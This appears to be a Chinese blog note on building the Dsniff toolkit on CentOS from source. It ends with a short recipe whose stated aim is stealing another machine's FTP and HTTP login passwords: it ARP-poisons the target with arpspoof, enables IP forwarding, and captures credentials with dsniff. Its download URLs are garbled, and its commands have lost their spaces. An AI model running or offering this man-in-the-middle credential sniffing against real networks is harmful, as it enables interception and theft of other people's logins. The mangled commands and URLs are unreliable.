linux嗅探工具Dsniff安装笔记

wget:
blog.exehack.com/wp-contenthttp://www.yunsec.net/uploads/2012/01/openssl-0.9.7i.tar.tar

blog.exeHack.com/wp-contenthttp://www.yunsec.net/uploads/2012/01/libnids-1.18.tar.tar

blog.exeHack.com/wp-contenthttp://www.yunsec.net/uploads/2012/01/libpcap-0.7.2.tar.tar

blog.exeHack.com/wp-contenthttp://www.yunsec.net/uploads/2012/01/libnet-1.0.2a.tar.tar

blog.exeHack.com/wp-contenthttp://www.yunsec.net/uploads/2012/01/db-4.7.25.tar.tar

blog.exeHack.com/wp-contenthttp://www.yunsec.net/uploads/2012/01/dsniff-2.3.tar.tar
一、安装gcc



#yum-yinstallgcc
二、安装openssl



#tarzxvfopenssl-0.9.7i.tar.gz

#cdopenssl-0.9.7i

#./config

#make

#makeinstall
三、安装flex和bison

#yum-yinstallflex

#yum-yinstallbison
四、安装libpcap

#tarzxvflibpcap-0.7.2.tar.gz

#cdlibpcap-0.7.2

#./configure

#make

#makeinstall
五、安装libnet



#tarzxvflibnet-1.0.2a.tar.gz

#cdLibnet-1.0.2a

#./configure

#make

#makeinstall
六、安装libnids



#tarzxvflibnids-1.18.tar.gz

#cdlibnids-1.18

#./configure

#make

#makeinstall
七、安装BerkeleyDB



#tarzxvfdb-4.7.25.tar.gz

#cddb-4.7.25/build_unix

#../dist/configure–enable-compat185

#make

#makeinstall
八、安装dsniff



#tarzxvfdsniff-2.3.tar.gz

#cddsniff-2.3

#viarp.c
加入#include“memory.h”
#./configure–enable-compat185–with-db=/usr/local/BerkeleyDB.4.7

#make

#makeinstall
九、其它设置



#vi/etc/sysctl.conf
修改net.ipv4.ip_forward=1
#sysctl-p
十、使用dsniff



#cp/usr/local/BerkeleyDB.4.7/lib/libdb-4.7.so/usr/lib

#cd/usr/local/sbin;ls

#./dsniff–help
环境：

网关–>192.168.0.1
A–>192.168.0.123(CentOS+dsniff-2.3)

B–>192.168.0.125(Cent0S)


目的：

使用A嗅探B的FTP、http登录密码
1.使用arpspoof对目标机实施ARP欺骗攻击

#arpspoof-ieth0-t192.168.0.125192.168.0.1
2.使用dsniff取得指定端口的数据信息

#dsniff-ieth0-t21/tcp=ftp,80/tcp=http

*
*